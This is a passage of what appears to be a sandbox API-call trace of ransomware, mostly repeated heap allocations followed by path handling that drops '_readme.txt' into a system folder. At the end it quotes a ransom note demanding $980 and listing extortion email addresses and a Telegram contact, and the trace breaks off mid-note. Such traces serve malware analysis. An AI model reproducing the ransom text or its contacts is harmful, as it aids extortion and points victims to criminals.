0x3076dc8 [0124.623] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.623] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.623] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.624] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.624] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.624] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.624] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.624] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.624] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.624] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.624] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.624] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.624] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.624] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.624] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.624] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.624] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.624] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.624] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.624] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.624] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.624] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.624] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.624] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.624] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.624] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.624] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.624] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.624] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.624] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.624] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.624] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.624] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.624] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.624] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.624] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.624] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.625] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.625] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.625] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.625] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.625] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.625] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.625] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.625] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.625] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.625] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.625] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.625] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.625] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.625] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.625] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.625] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.626] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.626] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.626] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.626] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.626] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.626] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.626] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.626] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.626] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.626] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.626] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.626] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.626] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.626] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.626] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.626] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.626] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.626] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.626] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.626] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.626] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.626] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.626] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.626] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.626] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.626] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.626] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.626] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.626] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.626] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.626] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.626] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.626] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.627] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.627] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.627] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.627] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.627] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.627] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.627] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.627] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.627] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.627] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.627] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.627] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.627] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.627] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.627] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.627] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.627] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.627] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.627] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.627] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.627] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.627] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.627] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.627] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.627] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.627] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.627] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.627] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.627] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.627] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.627] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.627] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.627] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.627] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.628] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.628] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.628] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.628] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.628] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.628] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.628] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.628] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.628] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.628] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.628] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.628] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.628] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.628] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.628] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.628] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.628] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.628] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.628] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.628] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.628] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.628] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.628] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.628] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.628] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.628] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.628] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.628] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.628] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.628] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.628] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.628] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.628] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.629] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.629] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.629] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.629] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.629] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.629] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.629] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.629] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.629] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.629] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.629] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.629] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.629] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.629] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.629] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.629] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.629] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.629] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.629] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.629] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.629] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.629] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.629] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.629] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.629] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.629] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.629] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.629] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.629] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.629] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.629] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.629] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.629] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.630] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.630] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.630] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.630] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.630] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.630] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.630] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.630] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.630] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0124.630] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.630] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.630] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.630] PathFindFileNameW (pszPath="") returned="" [0124.630] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.630] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.630] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.630] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.630] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.630] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.631] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.631] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0124.631] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.631] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.631] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 0 [0124.631] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.631] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt 